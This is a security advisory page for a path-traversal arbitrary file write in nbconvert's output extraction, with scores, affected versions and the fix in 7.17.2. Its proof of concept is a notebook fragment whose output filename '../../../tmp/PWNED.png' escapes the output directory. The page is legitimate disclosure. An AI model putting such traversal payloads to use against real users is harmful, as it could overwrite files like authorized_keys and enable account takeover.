All vulnerabilities
CVE-2026-114140GHSA-pjvx-prjx-h659

nbconvert: Arbitrary file write through path traversal in cell output filenames when exporting to md, latex, rst and asciidoc

jupyter nbconvertpipLibraries & packages
CVSS
8.8High
ExploitationNo known exploitationNot in CISA KEV, which does not prove it is unexploitedCISA KEV
Exploit odds (EPSS)0.31%Chance of exploitation activity in the next 30 days, higher than 22% of CVEs. Scored 23 Oct 2026FIRST EPSS
Fixed in7.17.2Fixed versionGitHub
Published21 Oct 2026Updated 22 Oct 2026CVE List

What fixes it

  • 7.17.2nbconvert, pipGitHub
  • 7.17.2nbconvert, PyPIOSVpip install "nbconvert>=7.17.2"

A fixed version on one release line is not the upgrade target for every line. Check your exact version and any vendor backports.

Description

Summary

nbconvert <= v7.17.1 has an arbitrary file write vulnerability due to a path traversal in ipynb cell output metadata, more specifically on the filename attribute.

Vulnerable converters : --to markdown, --to latex, --to rst, --to asciidoc.

In ExtractOutputPreprocessor, extractoutput.py:116-119 joins attacker-controlled path to output_files_dir with no canonicalization check, enabling arbitrary file write.

This is a sibling vulnerability of https://github.com/advisories/GHSA-4c99-qj7h-p3vg.

Impact

If a victim runs nbconvert on a malicious ipynb file, it can create some files with arbitrary data in arbitrary locations, i.e. override authorized_keys.

Note that running the cell with jupyter overrides the output, so it would "clean up" malicious cells.

PoC

In a ipynb file:

"cells": [{
        "cell_type": "code", "id": "abc123", "execution_count": 1,
        "metadata": {}, "source": "# PoC",
        "outputs": [{
            "output_type": "display_data",
            "metadata": {
                "filename": "../../../tmp/PWNED.png"  # ← traverses outside output_dir
            },
            "data": {
                # minimal valid PNG (1×1 pixel)
                "image/png": "iVBORw0KGgoAAAANSUhEUgAAAAEAAAABCAYAAAAfFcSJAAAADUlEQVR42mNk+M9QDwADhgGAWjR9awAAAABJRU5ErkJggg=="
            }
        }]
    }]

Patches

Fixed in

  • https://github.com/jupyter/nbconvert/commit/ce4bd99aec31d81d759fa8eeb8643179392ec66f
  • 7.17.2

Text from GitHub Advisory Database

Affected versions 53

  • nbconvert, pip>= 5.4.0, <= 7.17.1GitHub
  • nbconvertaffected: >= 5.4.0, < 7.17.2CVE List
  • nbconvert, PyPIfrom 5.4.0, fixed in 7.17.2OSV
  • nbconvert, PyPI5.4.0OSV
  • nbconvert, PyPI5.4.1OSV
  • nbconvert, PyPI5.4.1.dev0OSV
  • nbconvert, PyPI5.5.0OSV
  • nbconvert, PyPI5.6.0OSV
  • nbconvert, PyPI5.6.1OSV
  • nbconvert, PyPI6.0.0OSV
  • nbconvert, PyPI6.0.0a0OSV
  • nbconvert, PyPI6.0.0a1OSV
  • nbconvert, PyPI6.0.0a2OSV
  • nbconvert, PyPI6.0.0a3OSV
  • nbconvert, PyPI6.0.0a4OSV
  • nbconvert, PyPI6.0.0a5OSV
  • nbconvert, PyPI6.0.0a6OSV
  • nbconvert, PyPI6.0.0b7OSV
  • nbconvert, PyPI6.0.0rc0OSV
  • nbconvert, PyPI6.0.1OSV
  • nbconvert, PyPI6.0.2OSV
  • nbconvert, PyPI6.0.3OSV
  • nbconvert, PyPI6.0.4OSV
  • nbconvert, PyPI6.0.5OSV
  • nbconvert, PyPI6.0.6OSV
  • nbconvert, PyPI6.0.7OSV
  • nbconvert, PyPI6.1.0OSV
  • nbconvert, PyPI6.1.0rc0OSV
  • nbconvert, PyPI6.1.1b0OSV
  • nbconvert, PyPI6.2.0OSV
  • nbconvert, PyPI6.2.0rc0OSV
  • nbconvert, PyPI6.2.0rc1OSV
  • nbconvert, PyPI6.2.0rc2OSV
  • nbconvert, PyPI6.3.0OSV
  • nbconvert, PyPI6.3.0b0OSV
  • nbconvert, PyPI6.4.0OSV
  • nbconvert, PyPI6.4.1OSV
  • nbconvert, PyPI6.4.2OSV
  • nbconvert, PyPI6.4.3OSV
  • nbconvert, PyPI6.4.4OSV
  • nbconvert, PyPI6.4.5OSV
  • nbconvert, PyPI6.5.0OSV
  • nbconvert, PyPI6.5.1OSV
  • nbconvert, PyPI6.5.2OSV
  • nbconvert, PyPI6.5.3OSV
  • nbconvert, PyPI6.5.4OSV
  • nbconvert, PyPI7.0.0OSV
  • nbconvert, PyPI7.0.0rc0OSV
  • nbconvert, PyPI7.0.0rc1OSV
  • nbconvert, PyPI7.0.0rc2OSV
  • nbconvert, PyPI7.0.0rc3OSV
  • nbconvert, PyPI7.1.0OSV
  • nbconvert, PyPI7.10.0OSV

References 5